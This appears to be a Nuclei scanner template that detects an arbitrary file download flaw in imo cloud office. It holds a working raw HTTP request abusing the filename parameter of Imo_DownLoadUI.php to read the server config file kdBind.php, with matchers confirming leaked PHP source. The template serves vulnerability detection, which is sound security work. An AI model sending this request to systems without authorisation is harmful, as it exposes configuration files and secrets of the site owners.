id: imo-file-download

info:
  name: IMO - Arbitrary File Download
  author: ritikchaddha
  severity: high
  description: |
    The imo cloud office can read system sensitive files because the filename parameter of the /file/Placard/upload/Imo_DownLoadUI.php page is not strictly filtered.
  reference:
    - https://forum.butian.net/article/214
  metadata:
    max-request: 2
  tags: imo,file-download

http:
  - raw:
      - |
        GET /file/Placard/upload/Imo_DownLoadUI.php?cid=1&uid=1&type=1&filename=/OpenPlatform/config/kdBind.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<?php'
          - '$bindInfo = array'
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename=/home/www"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022032e139303ed93c2ab2db5a7aa130eb5d57afe171639d313813f94ed811354ef702205b871f009a3b089b78ce7a683abec8e5102ff44ca14bea68ff97a2806381667d:922c64590222798bb761d5b6d8e72950